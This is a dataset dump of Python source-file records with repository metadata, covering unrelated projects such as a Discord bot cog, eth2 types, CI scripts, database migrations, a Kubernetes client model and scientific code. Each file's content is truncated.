hexsha stringlengths 40 40 | size int64 4 1.02M | ext stringclasses 8
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 209 | max_stars_repo_name stringlengths 5 121 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 209 | max_issues_repo_name stringlengths 5 121 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 67k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 209 | max_forks_repo_name stringlengths 5 121 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 4 1.02M | avg_line_length float64 1.07 66.1k | max_line_length int64 4 266k | alphanum_fraction float64 0.01 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
d74fe324e683db898aaea60ad88d2f028c363221 | 1,534 | py | Python | sudo/sudo.py | jlowe77/Eris-Cogs | 2ade8f82db3477527af3cff3b48ebb281e1a6987 | [
"Apache-2.0"
] | 6 | 2020-05-13T20:43:53.000Z | 2021-06-23T16:10:13.000Z | sudo/sudo.py | jlowe77/Eris-Cogs | 2ade8f82db3477527af3cff3b48ebb281e1a6987 | [
"Apache-2.0"
] | 12 | 2019-04-02T13:29:10.000Z | 2020-03-27T18:07:16.000Z | sudo/sudo.py | jlowe77/Eris-Cogs | 2ade8f82db3477527af3cff3b48ebb281e1a6987 | [
"Apache-2.0"
] | 9 | 2020-06-07T21:46:54.000Z | 2022-03-01T22:49:02.000Z | import discord
from redbot.core import commands, bot, Config
from .eris_event_lib import ErisEventMixin
BaseCog = getattr(commands, "Cog", object)
class Sudo(BaseCog, ErisEventMixin):
def __init__(self, bot_instance: bot):
super().__init__()
self.bot = bot_instance
self.whois = self.bot.... | 31.306122 | 88 | 0.597132 |
c8489be920165887c1824c00aa98047d6f5b153c | 675 | py | Python | eth2/beacon/types/forks.py | mhchia/trinity | e40e475064ca4605887706e9b0e4f8e2349b10cd | [
"MIT"
] | 2 | 2020-01-30T21:51:00.000Z | 2020-07-22T14:51:05.000Z | eth2/beacon/types/forks.py | mhchia/trinity | e40e475064ca4605887706e9b0e4f8e2349b10cd | [
"MIT"
] | null | null | null | eth2/beacon/types/forks.py | mhchia/trinity | e40e475064ca4605887706e9b0e4f8e2349b10cd | [
"MIT"
] | null | null | null | import ssz
from ssz.sedes import (
BytesN,
uint64,
)
from eth2.beacon.typing import (
Epoch,
)
bytes4 = BytesN(4)
class Fork(ssz.Serializable):
fields = [
# Previous fork version
('previous_version', bytes4),
# Current fork version
('current_version', bytes4),
... | 19.285714 | 46 | 0.554074 |
dd151b27732675884ffbb94fa007d006e3ac8aa2 | 1,793 | py | Python | GerritAPI2/PredictedSample/PredictedSample.py | Tawkat/Autonomous-Code-Review-Usefulness-Measurement | e709eb4813123b713764ef6be8534dd29724c217 | [
"MIT"
] | null | null | null | GerritAPI2/PredictedSample/PredictedSample.py | Tawkat/Autonomous-Code-Review-Usefulness-Measurement | e709eb4813123b713764ef6be8534dd29724c217 | [
"MIT"
] | null | null | null | GerritAPI2/PredictedSample/PredictedSample.py | Tawkat/Autonomous-Code-Review-Usefulness-Measurement | e709eb4813123b713764ef6be8534dd29724c217 | [
"MIT"
] | null | null | null |
'''
import sys
reload(sys)
sys.setdefaultencoding('utf8')
import sqlite3
import matplotlib.pyplot as plt
import numpy as np
import operator
connection=sqlite3.connect('Gerrit.db')
connection.text_factory=str
cursor=connection.cursor()
cursor.execute("SELECT DISTINCT R1.reviewData,R1.usefulness from ReviewTable R1 ... | 23.906667 | 128 | 0.713887 |
b609422c2f75ed6169dc865082c8195473e6f896 | 3,854 | py | Python | test/system/lib/cli.py | YongJin-Cho/poseidonos | c07a0240316d4536aa09f22d7977604f3650d752 | [
"BSD-3-Clause"
] | null | null | null | test/system/lib/cli.py | YongJin-Cho/poseidonos | c07a0240316d4536aa09f22d7977604f3650d752 | [
"BSD-3-Clause"
] | null | null | null | test/system/lib/cli.py | YongJin-Cho/poseidonos | c07a0240316d4536aa09f22d7977604f3650d752 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python3
import subprocess
import sys
POS_ROOT = '../../../'
POS_CLI = POS_ROOT + "bin/cli"
def send_request(msg):
cli_req = POS_CLI + " --json "
out = subprocess.check_output(cli_req + msg, universal_newlines=True, shell=True)
return out
def exit_pos():
return send_request("system exi... | 27.528571 | 85 | 0.628697 |
88c084b942c1bca79735c83c28e44780851da676 | 3,151 | py | Python | duro/server/formatters.py | TargetProcess/duro | 3e70c17aed3d6d8714c94f0dfda539969d22157a | [
"MIT"
] | 4 | 2020-01-31T13:54:51.000Z | 2020-04-17T15:53:02.000Z | duro/server/formatters.py | TargetProcess/duro | 3e70c17aed3d6d8714c94f0dfda539969d22157a | [
"MIT"
] | null | null | null | duro/server/formatters.py | TargetProcess/duro | 3e70c17aed3d6d8714c94f0dfda539969d22157a | [
"MIT"
] | 1 | 2020-04-14T12:32:08.000Z | 2020-04-14T12:32:08.000Z | from typing import Dict, List, Optional, Tuple
import arrow
from create.timestamps import events
def print_log(log: Dict, tz="local") -> List:
result = [f'{format_as_ts(log["start"], tz)}']
prev_ts = log["start"]
for key in events:
if log[key] is not None and key != "start":
next_ts ... | 27.884956 | 82 | 0.593462 |
e98df69c3a1dc1bb3f44707f35aff3c6f30aac67 | 2,405 | py | Python | backend/api/views/policeStations.py | hack4impact-uiuc/c2tc-fall-2018 | a64698ac47c35b244d32dc86019327b35d69e9ed | [
"MIT"
] | 7 | 2018-10-03T23:40:31.000Z | 2019-01-30T07:46:59.000Z | backend/api/views/policeStations.py | hack4impact-uiuc/c2tc-fall-2018 | a64698ac47c35b244d32dc86019327b35d69e9ed | [
"MIT"
] | 46 | 2018-10-05T22:35:04.000Z | 2019-01-30T07:49:11.000Z | backend/api/views/policeStations.py | hack4impact-uiuc/c2tc-fall-2018 | a64698ac47c35b244d32dc86019327b35d69e9ed | [
"MIT"
] | 1 | 2020-02-07T21:26:01.000Z | 2020-02-07T21:26:01.000Z | from flask import Blueprint
from api.models.PoliceStation import PoliceStation
from api.core import create_response, serialize_list, logger
from api.scrapers.police_stations import get_stations
policeStation = Blueprint("policeStations", __name__)
@policeStation.route("/police-stations", methods=["GET"])
def get_pol... | 32.5 | 84 | 0.695218 |
32ef27d67cfd3af8702657c1e3d7b14a01f9503b | 15,237 | py | Python | qa/rpc-tests/rest.py | cruzezy/bitcoin | 7767d558c5047e9f11e2e5eb9bf3f885a03adb08 | [
"Apache-2.0",
"MIT"
] | null | null | null | qa/rpc-tests/rest.py | cruzezy/bitcoin | 7767d558c5047e9f11e2e5eb9bf3f885a03adb08 | [
"Apache-2.0",
"MIT"
] | null | null | null | qa/rpc-tests/rest.py | cruzezy/bitcoin | 7767d558c5047e9f11e2e5eb9bf3f885a03adb08 | [
"Apache-2.0",
"MIT"
] | null | null | null | #!/usr/bin/env python2
# Copyright (c) 2014-2015 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
#
# Test REST interface
#
from test_framework.test_framework import NetgoldTestFramework
from test_fram... | 44.552632 | 132 | 0.643631 |
592debbadde705c68ed1b9f326be983b7fa3fd7f | 254 | py | Python | project01/project01/admin.py | rcm2000/BigdataService_team1 | 365232f4638a0bbba921442a441768c05b729986 | [
"Apache-2.0"
] | null | null | null | project01/project01/admin.py | rcm2000/BigdataService_team1 | 365232f4638a0bbba921442a441768c05b729986 | [
"Apache-2.0"
] | null | null | null | project01/project01/admin.py | rcm2000/BigdataService_team1 | 365232f4638a0bbba921442a441768c05b729986 | [
"Apache-2.0"
] | null | null | null | from django.contrib import admin
from .models import User
@admin.register(User)
class UserAdmin(admin.ModelAdmin):
list_display = (
'user_id',
'user_pw',
'user_name',
'user_email',
'user_register_dttm',
)
| 19.538462 | 34 | 0.61811 |
8970c9bc99c4e5f97a8aef3a1c50611ccd5fe3e8 | 23,140 | py | Python | migrations/versions/4c97401b8961_adding_tables.py | imperial-genomics-facility/data-management-python | 7b867d8d4562a49173d0b823bdc4bf374a3688f0 | [
"Apache-2.0"
] | 7 | 2018-05-08T07:28:08.000Z | 2022-02-21T14:56:49.000Z | migrations/versions/4c97401b8961_adding_tables.py | imperial-genomics-facility/data-management-python | 7b867d8d4562a49173d0b823bdc4bf374a3688f0 | [
"Apache-2.0"
] | 15 | 2021-08-19T12:32:20.000Z | 2022-02-09T19:52:51.000Z | migrations/versions/4c97401b8961_adding_tables.py | imperial-genomics-facility/data-management-python | 7b867d8d4562a49173d0b823bdc4bf374a3688f0 | [
"Apache-2.0"
] | 2 | 2017-05-12T15:20:10.000Z | 2020-05-07T16:25:11.000Z | """adding tables
Revision ID: 4c97401b8961
Revises: bd380507518c
Create Date: 2021-02-07 17:43:03.412092
"""
import igf_data
from alembic import op
import sqlalchemy as sa
from sqlalchemy.dialects import mysql
# revision identifiers, used by Alembic.
revision = '4c97401b8961'
down_revision = 'bd380507518c'
branch_la... | 62.204301 | 969 | 0.707649 |
a21aa3a97c4ee340acd3dccddbb8e7f439068ed4 | 2,319 | py | Python | testplan/common/utils/table.py | raoyitao/testplan | aae3e9cee597ca3d01b6d64eed2642c421c56cbb | [
"Apache-2.0"
] | 96 | 2018-03-14T13:14:50.000Z | 2021-01-14T08:26:08.000Z | testplan/common/utils/table.py | raoyitao/testplan | aae3e9cee597ca3d01b6d64eed2642c421c56cbb | [
"Apache-2.0"
] | 135 | 2018-06-28T02:41:05.000Z | 2021-01-19T02:16:58.000Z | testplan/common/utils/table.py | raoyitao/testplan | aae3e9cee597ca3d01b6d64eed2642c421c56cbb | [
"Apache-2.0"
] | 53 | 2018-03-17T14:39:15.000Z | 2021-01-21T10:54:13.000Z | """Utilities for working with tables."""
import collections
class TableEntry(object):
"""
Represents a table. Internally represented either
as a ``list`` of ``list`` or a ``list`` of ``dict``.
"""
def __init__(self, source, placeholder=None):
self._source = source
self._placehold... | 28.62963 | 85 | 0.515308 |
30009414d6ee97c09feb31fb103f8a146a3e6daa | 9,585 | py | Python | tests/ci/integration_test_check.py | riddopic/ClickHouse | 0f9cc9f924957ac619eb49f5fd71466e600d9664 | [
"Apache-2.0"
] | 1 | 2022-03-25T03:10:20.000Z | 2022-03-25T03:10:20.000Z | tests/ci/integration_test_check.py | riddopic/ClickHouse | 0f9cc9f924957ac619eb49f5fd71466e600d9664 | [
"Apache-2.0"
] | null | null | null | tests/ci/integration_test_check.py | riddopic/ClickHouse | 0f9cc9f924957ac619eb49f5fd71466e600d9664 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python3
import argparse
import csv
import json
import logging
import os
import subprocess
import sys
from github import Github
from env_helper import TEMP_PATH, REPO_COPY, REPORTS_PATH
from s3_helper import S3Helper
from get_robot_token import get_best_robot_token
from pr_info import PRInfo
from build... | 33.869258 | 93 | 0.684403 |
3a7c3005d94a0a2ec4d7c5ab635f53678a955961 | 98 | py | Python | desugar/__init__.py | maggyero/desugar | fd283d4e93d4dbae385577627051094460b74fc8 | [
"MIT"
] | 109 | 2020-07-19T20:18:51.000Z | 2022-03-14T19:03:48.000Z | desugar/__init__.py | maggyero/desugar | fd283d4e93d4dbae385577627051094460b74fc8 | [
"MIT"
] | 7 | 2020-08-18T14:20:36.000Z | 2022-02-08T18:16:42.000Z | desugar/__init__.py | maggyero/desugar | fd283d4e93d4dbae385577627051094460b74fc8 | [
"MIT"
] | 4 | 2020-10-05T20:27:21.000Z | 2021-09-02T19:27:16.000Z | """Re-implement the parts of Python that allow removing its syntactic sugar."""
__version__ = "0"
| 32.666667 | 79 | 0.744898 |
bdbcacd64a2cfbf5a37519d52afb16df9f2e3734 | 2,403 | py | Python | tests/integration/core/test_integration_neural_graph.py | ParikhKadam/NeMo | ee11f7c4666d410d91f9da33c61f4819ea625013 | [
"Apache-2.0"
] | 1 | 2020-08-04T08:29:41.000Z | 2020-08-04T08:29:41.000Z | tests/integration/core/test_integration_neural_graph.py | ParikhKadam/NeMo | ee11f7c4666d410d91f9da33c61f4819ea625013 | [
"Apache-2.0"
] | 1 | 2020-06-11T00:54:42.000Z | 2020-06-11T00:54:42.000Z | tests/integration/core/test_integration_neural_graph.py | ParikhKadam/NeMo | ee11f7c4666d410d91f9da33c61f4819ea625013 | [
"Apache-2.0"
] | 3 | 2020-03-10T05:10:07.000Z | 2020-12-08T01:33:35.000Z | # ! /usr/bin/python
# -*- coding: utf-8 -*-
# =============================================================================
# Copyright (c) 2020, NVIDIA CORPORATION. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the Licens... | 37.546875 | 111 | 0.609238 |
7f6c4c46375016b4d62af03aa741d47a99d8aec5 | 159 | py | Python | pyfileconf/exceptions/assignments.py | nickderobertis/py-file-conf | 100773b86373035a5b485a1ed96d8f5a1d69d066 | [
"MIT"
] | 2 | 2020-11-29T19:09:14.000Z | 2021-09-11T19:21:21.000Z | pyfileconf/exceptions/assignments.py | nickderobertis/py-file-conf | 100773b86373035a5b485a1ed96d8f5a1d69d066 | [
"MIT"
] | 47 | 2020-02-01T03:54:07.000Z | 2022-01-13T02:24:45.000Z | pyfileconf/exceptions/assignments.py | nickderobertis/py-file-conf | 100773b86373035a5b485a1ed96d8f5a1d69d066 | [
"MIT"
] | null | null | null |
class CouldNotExtractAssignmentException(Exception):
pass
class CouldNotExtractAssignmentFromAstException(CouldNotExtractAssignmentException):
pass
| 19.875 | 84 | 0.855346 |
38d62827a9343cd66b3e19ee3de580e8139ad072 | 6,810 | py | Python | dingtalk/smartwork/__init__.py | niulinlnc/dingtalk-python | c4209658f88344e8f0890137ed7c887c8b740a6c | [
"Apache-2.0"
] | 2 | 2020-06-13T23:06:42.000Z | 2020-06-14T13:33:00.000Z | dingtalk/smartwork/__init__.py | niulinlnc/dingtalk-python | c4209658f88344e8f0890137ed7c887c8b740a6c | [
"Apache-2.0"
] | null | null | null | dingtalk/smartwork/__init__.py | niulinlnc/dingtalk-python | c4209658f88344e8f0890137ed7c887c8b740a6c | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time: 2018/2/28 下午1:49
# @Author: BlackMatrix
# @Site: https://github.com/blackmatrix7
# @File: __init__.py
# @Software: PyCharm
import logging
from .workflow import *
from functools import partial
from datetime import datetime
from ..foundation import dingtalk_method
fr... | 41.272727 | 148 | 0.657709 |
2ae3f963b2450a19c096e8f6411fce29a1fcbe9c | 1,682 | py | Python | utils.py | fathyshalaby/Missing_Pixel_Imputation_Challenge | e9186b514ba7dc24be14f39266e29c27318aef94 | [
"MIT"
] | null | null | null | utils.py | fathyshalaby/Missing_Pixel_Imputation_Challenge | e9186b514ba7dc24be14f39266e29c27318aef94 | [
"MIT"
] | null | null | null | utils.py | fathyshalaby/Missing_Pixel_Imputation_Challenge | e9186b514ba7dc24be14f39266e29c27318aef94 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""example_project/utils.py
Author -- Michael Widrich
Contact -- widrich@ml.jku.at
Date -- 01.02.2020
###############################################################################
The following copyright statement applies to all code within this file.
Copyright statement:
This material, no... | 33.64 | 82 | 0.595125 |
8acee1cc192a79d748dcda99d1248429d0245b8a | 1,901 | py | Python | masci_tools/util/plot_shapfun.py | JPchico/masci-tools | a950f492ecebcc1b15100e5dc891f5a6fa6c1a5b | [
"MIT"
] | 1 | 2021-06-26T20:37:12.000Z | 2021-06-26T20:37:12.000Z | masci_tools/util/plot_shapfun.py | RubelMozumder/masci-tools | a950f492ecebcc1b15100e5dc891f5a6fa6c1a5b | [
"MIT"
] | null | null | null | masci_tools/util/plot_shapfun.py | RubelMozumder/masci-tools | a950f492ecebcc1b15100e5dc891f5a6fa6c1a5b | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
###############################################################################
# Copyright (c), 2018 Forschungszentrum Jülich GmbH, IAS-1/PGI-1, Germany. #
# All rights reserved. #
# This file is part of the Masci-t... | 35.867925 | 127 | 0.553919 |
51c8ba981418976df79fc54dfe3d1591372fa763 | 986 | py | Python | Processor/Components/pipline_register/pc.py | Atelier-Developers/atelier-artemisia-processor | 39e44c4bfccd27ef39c2f5e56c0c5202f86f7f74 | [
"MIT"
] | 3 | 2020-08-01T15:26:38.000Z | 2020-08-30T16:37:24.000Z | Processor/Components/pipline_register/pc.py | Atelier-Developers/atelier-artemisia-processor | 39e44c4bfccd27ef39c2f5e56c0c5202f86f7f74 | [
"MIT"
] | null | null | null | Processor/Components/pipline_register/pc.py | Atelier-Developers/atelier-artemisia-processor | 39e44c4bfccd27ef39c2f5e56c0c5202f86f7f74 | [
"MIT"
] | null | null | null | from Components.register_file.register import Register
class PC(Register):
def __init__(self, clock, inputs, name="PC_Register"):
super().__init__(clock, inputs, 32, name) # The clock should be the AND of the clock and PC.Write
self.instruction_address = None
self.build()
def build(... | 30.8125 | 106 | 0.618661 |
5307754444c441277b0458b206aabacb89e1aaac | 15,313 | py | Python | 02_spectral_clustering.py | mirnylab/heterochromatin-paper | ac61e7de9a123345b8f998e5ebbeff93d2b20a60 | [
"MIT"
] | null | null | null | 02_spectral_clustering.py | mirnylab/heterochromatin-paper | ac61e7de9a123345b8f998e5ebbeff93d2b20a60 | [
"MIT"
] | null | null | null | 02_spectral_clustering.py | mirnylab/heterochromatin-paper | ac61e7de9a123345b8f998e5ebbeff93d2b20a60 | [
"MIT"
] | null | null | null | import warnings
from tqdm import tqdm
import bioframe
import numpy as np
import pandas as pd
def _extract_eigs(eigvals, eigvecs, n_clusters, n_components, weight_by_eigval, keep_first, positive_eigs=False, filter_nans=True):
eigvecs = eigvecs.copy()
# Decide whether to use unit normed vectors or to weight th... | 28.892453 | 136 | 0.637824 |
64e7d26cb5b88fc9dcab00076203ba8f3bec8b93 | 464 | py | Python | AtC_Gra_Con_011-020/AGC017/A.py | yosho-18/AtCoder | 50f6d5c92a01792552c31ac912ce1cd557b06fb0 | [
"MIT"
] | null | null | null | AtC_Gra_Con_011-020/AGC017/A.py | yosho-18/AtCoder | 50f6d5c92a01792552c31ac912ce1cd557b06fb0 | [
"MIT"
] | null | null | null | AtC_Gra_Con_011-020/AGC017/A.py | yosho-18/AtCoder | 50f6d5c92a01792552c31ac912ce1cd557b06fb0 | [
"MIT"
] | null | null | null | import math
def comb(n, r):
return math.factorial(n) // (math.factorial(n - r) * math.factorial(r))
n, p = map(int, input().split())
a = [int(m) for m in input().split()]
k = 0
for i in range(n):
if a[i] % 2 == 0:
k += 1
if p == 1:
tmp = 0
for i in range(1, n - k + 1, 2):
tmp += comb(n ... | 23.2 | 75 | 0.467672 |
956e3dd1aea71ef86aac0c57fb37b8a3d7e7c974 | 13,551 | py | Python | core/utils/planner/basic_planner.py | zqh0253/DI-drive | b5fd8ca3cf2d4d8a8a1b807dda718e9f6d760981 | [
"Apache-2.0"
] | null | null | null | core/utils/planner/basic_planner.py | zqh0253/DI-drive | b5fd8ca3cf2d4d8a8a1b807dda718e9f6d760981 | [
"Apache-2.0"
] | null | null | null | core/utils/planner/basic_planner.py | zqh0253/DI-drive | b5fd8ca3cf2d4d8a8a1b807dda718e9f6d760981 | [
"Apache-2.0"
] | null | null | null | import numpy as np
from enum import Enum
from collections import deque
from easydict import EasyDict
from typing import Dict, List, Tuple, Union
import copy
import carla
from core.utils.simulator_utils.carla_agents.navigation.global_route_planner_dao import GlobalRoutePlannerDAO
from core.utils.simulator_utils.carla_a... | 39.16474 | 114 | 0.638182 |
774545fcbbc9ef79cace5429d5d3cf7286a4005f | 8,195 | py | Python | kubernetes_asyncio/client/models/v1_certificate_signing_request.py | tomplus/kubernetes-asyncio | 11c3eb4d50ae822545572aa7b8c15f7153f65a1c | [
"Apache-2.0"
] | null | null | null | kubernetes_asyncio/client/models/v1_certificate_signing_request.py | tomplus/kubernetes-asyncio | 11c3eb4d50ae822545572aa7b8c15f7153f65a1c | [
"Apache-2.0"
] | null | null | null | kubernetes_asyncio/client/models/v1_certificate_signing_request.py | tomplus/kubernetes-asyncio | 11c3eb4d50ae822545572aa7b8c15f7153f65a1c | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
"""
Kubernetes
No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501
The version of the OpenAPI document: v1.23.6
Generated by: https://openapi-generator.tech
"""
try:
from inspect import getfullargspec
except Im... | 34.004149 | 312 | 0.636486 |
a8d6db5b3e9529a08f87ca5e77f716be3ffb7e94 | 537 | py | Python | dependencies/validation.py | dpanic/dns_warmer | c61a49a2f9132d946950d8c5ed711e0c0fd779bb | [
"MIT"
] | 1 | 2020-09-30T22:41:31.000Z | 2020-09-30T22:41:31.000Z | dependencies/validation.py | dpanic/dns_warmer | c61a49a2f9132d946950d8c5ed711e0c0fd779bb | [
"MIT"
] | 2 | 2020-10-01T08:03:00.000Z | 2020-10-01T08:17:20.000Z | dependencies/validation.py | dpanic/dns_warmer | c61a49a2f9132d946950d8c5ed711e0c0fd779bb | [
"MIT"
] | 1 | 2020-09-30T23:04:53.000Z | 2020-09-30T23:04:53.000Z | #!/usr/bin/python3
import ipaddress
class validation:
def __init__(self):
pass
#
# Check if input is IP
#
def is_ip(self, ip):
try:
tmp = ipaddress.IPv4Address(ip)
return True
except BaseException:
# print(str(sys.exc_info()))
... | 17.322581 | 43 | 0.540037 |
0705d1b410ffb1c66054fc664a80e94ad669ff91 | 1,931 | py | Python | examples/Griewank.py | ybenitezf/PyJaya | e3fec63d09e4c78305502232bbda9c70a2fbb75e | [
"MIT"
] | 5 | 2021-03-22T07:43:05.000Z | 2022-02-05T01:59:56.000Z | examples/Griewank.py | eadomenech/pyjaya | e3fec63d09e4c78305502232bbda9c70a2fbb75e | [
"MIT"
] | 1 | 2020-12-24T18:32:25.000Z | 2021-01-15T20:14:13.000Z | examples/Griewank.py | eadomenech/pyjaya | e3fec63d09e4c78305502232bbda9c70a2fbb75e | [
"MIT"
] | 2 | 2020-02-21T07:02:02.000Z | 2020-11-03T06:55:46.000Z | # -*- coding: utf-8 -*-
"""Griewank funtion
http://benchmarkfcns.xyz/benchmarkfcns/griewankfcn.html"""
# Temp
import sys
sys.path.append("")
import numpy as np
from pyJaya.variants.clasic import JayaClasic
from pyJaya.variants.selfAdaptive import JayaSelfAdaptive
from pyJaya.variants.quasiOppositional import JayaQua... | 31.145161 | 75 | 0.57535 |
30c245148250fc7e1c558e6090301fd73a5bd86e | 767 | py | Python | stdplugins/schd.py | aashiq075/PepeBot | 5f40f4316c84ec3875bcbcd476e10448f9214f31 | [
"Apache-2.0"
] | 6 | 2020-04-21T04:52:42.000Z | 2020-06-19T09:33:02.000Z | stdplugins/schd.py | aashiq075/PepeBot | 5f40f4316c84ec3875bcbcd476e10448f9214f31 | [
"Apache-2.0"
] | 1 | 2021-02-08T20:49:02.000Z | 2021-02-08T20:49:02.000Z | stdplugins/schd.py | prono69/LazyAF-Pepe | b78d4b9f174a65b77b6b5f4969386aa6dd3359ce | [
"Apache-2.0"
] | 3 | 2020-04-21T05:45:54.000Z | 2020-05-01T15:03:40.000Z | """Schedule Plugin for @UniBorg
Syntax: .schd <time_in_seconds> ;=; <message to send>"""
import asyncio
from uniborg.util import admin_cmd
@borg.on(admin_cmd(pattern="schd ?(.*)"))
async def _(event):
if event.fwd_from:
return
input_str = event.pattern_match.group(1)
ttl = 0
message = "SYNTAX:... | 29.5 | 69 | 0.616688 |
f4b7aaf339ace90efa06897c3279f90183f972ab | 3,788 | py | Python | mne_bids/tests/test_report.py | paul30402/mne-bids | 9463f190d061f83d16125c086ed914fde6b2c5c5 | [
"BSD-3-Clause"
] | 83 | 2017-09-25T21:27:45.000Z | 2022-03-31T19:33:37.000Z | mne_bids/tests/test_report.py | paul30402/mne-bids | 9463f190d061f83d16125c086ed914fde6b2c5c5 | [
"BSD-3-Clause"
] | 953 | 2017-07-12T00:43:40.000Z | 2022-03-31T19:52:28.000Z | mne_bids/tests/test_report.py | paul30402/mne-bids | 9463f190d061f83d16125c086ed914fde6b2c5c5 | [
"BSD-3-Clause"
] | 69 | 2017-07-12T00:22:42.000Z | 2022-03-15T10:37:28.000Z | """Testing automatic BIDS report."""
# Authors: Adam Li <adam2392@gmail.com>
#
# License: BSD-3-Clause
import os.path as op
import mne
import pytest
from mne.datasets import testing
from mne_bids import (BIDSPath,
make_report)
from mne_bids.write import write_raw_bids
from mne_bids.config import... | 39.458333 | 94 | 0.738648 |
1e028f9b1c93c92e6dfd9236f2fec46065bf0150 | 869 | py | Python | diagnnose/attribute/gcd_tensor.py | i-machine-think/diagnnose | 4533347d1f2cc2959903ae667f99dccd4dda73ee | [
"MIT"
] | 35 | 2019-06-12T13:50:39.000Z | 2020-11-10T22:29:19.000Z | diagnnose/attribute/gcd_tensor.py | i-machine-think/diagnnose | 4533347d1f2cc2959903ae667f99dccd4dda73ee | [
"MIT"
] | 50 | 2019-04-07T20:22:54.000Z | 2020-11-14T12:58:27.000Z | diagnnose/attribute/gcd_tensor.py | illc-uva/diagNNose | 0b4cc138ae1248e3e446a1f70a57522a5d852359 | [
"MIT"
] | 5 | 2020-11-17T19:52:36.000Z | 2021-02-15T11:57:03.000Z | import torch
from .shapley_tensor import ShapleyTensor
class GCDTensor(ShapleyTensor):
def mul_contributions(self, *args, **kwargs):
gate, source = args
if not isinstance(gate, ShapleyTensor):
contributions = [
torch.mul(gate, contribution, **kwargs)
f... | 31.035714 | 76 | 0.594937 |
90bef504ea77072d0a2674a27f5f661de1bbd9e8 | 962 | py | Python | Python/raspberrypi/examples/get_voc_index.py | cdjq/DFRobot_SGP40 | 5949908b8fbb1f2004efff4d095f595a1891a838 | [
"MIT"
] | null | null | null | Python/raspberrypi/examples/get_voc_index.py | cdjq/DFRobot_SGP40 | 5949908b8fbb1f2004efff4d095f595a1891a838 | [
"MIT"
] | null | null | null | Python/raspberrypi/examples/get_voc_index.py | cdjq/DFRobot_SGP40 | 5949908b8fbb1f2004efff4d095f595a1891a838 | [
"MIT"
] | null | null | null | """
@file SGP40_demo_get_voc_index.py
@brief Get VOC index
@copyright Copyright (c) 2010 DFRobot Co.Ltd (http://www.dfrobot.com)
@licence The MIT License (MIT)
@author [yangfeng]<feng.yang@dfrobot.com>
version V1.0
date 2021-01-15
@get from https://www.dfrobot.com
@url https://github.co... | 30.0625 | 73 | 0.722453 |
a678fedf0f971d119c2cc60fb426826ff5145c7b | 5,795 | py | Python | parking_scraper.py | christian108108/parking-scaper | 856abb570ba0d754a0bf68457b52b88007b83265 | [
"MIT"
] | null | null | null | parking_scraper.py | christian108108/parking-scaper | 856abb570ba0d754a0bf68457b52b88007b83265 | [
"MIT"
] | 1 | 2018-01-21T08:04:38.000Z | 2018-01-21T08:04:38.000Z | parking_scraper.py | christian108108/parking-scaper | 856abb570ba0d754a0bf68457b52b88007b83265 | [
"MIT"
] | null | null | null | #!/usr/bin/python
import googlemaps
import string
from bs4 import BeautifulSoup
import urllib2
import re
import json
from twython import Twython
class Garage:
def __init__(self, name, spots, coordinates):
self.name = name
self.spots = spots
self.coordinates = coordinates
def __repr_... | 34.494048 | 164 | 0.676963 |
907da95887b2fb1cf4e6e5c614046b9008988b0b | 1,441 | py | Python | ok_redirects/migrations/0001_initial.py | LowerDeez/ok-redirects | 5eb317a8aeae70a4899a06c4eefa9a088f269a03 | [
"MIT"
] | 1 | 2021-01-04T08:58:09.000Z | 2021-01-04T08:58:09.000Z | ok_redirects/migrations/0001_initial.py | LowerDeez/ok-redirects | 5eb317a8aeae70a4899a06c4eefa9a088f269a03 | [
"MIT"
] | null | null | null | ok_redirects/migrations/0001_initial.py | LowerDeez/ok-redirects | 5eb317a8aeae70a4899a06c4eefa9a088f269a03 | [
"MIT"
] | null | null | null | # Generated by Django 2.2 on 2020-09-03 13:23
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
('sites', '0002_alter_domain_unique'),
]
operations = [
migrations.CreateModel(
... | 42.382353 | 209 | 0.606523 |
1922e31f4883dbc1353adcb2585829eafe68fb3b | 14,053 | py | Python | dace/frontend/octave/ast_function.py | jnice-81/dace | 5211794a2d17b7189037ac485ab0b292fb02aa0d | [
"BSD-3-Clause"
] | 227 | 2019-03-15T23:39:06.000Z | 2022-03-30T07:49:08.000Z | dace/frontend/octave/ast_function.py | jnice-81/dace | 5211794a2d17b7189037ac485ab0b292fb02aa0d | [
"BSD-3-Clause"
] | 834 | 2019-07-31T22:49:31.000Z | 2022-03-28T14:01:32.000Z | dace/frontend/octave/ast_function.py | jnice-81/dace | 5211794a2d17b7189037ac485ab0b292fb02aa0d | [
"BSD-3-Clause"
] | 64 | 2019-03-19T05:40:37.000Z | 2022-03-11T15:02:42.000Z | # Copyright 2019-2021 ETH Zurich and the DaCe authors. All rights reserved.
import dace
import copy
from .ast_node import AST_Node
class AST_EndFunc(AST_Node):
def __init__(self, context):
AST_Node.__init__(self, context)
def get_children(self):
return []
def replace_child(self, old, ne... | 37.675603 | 80 | 0.52672 |
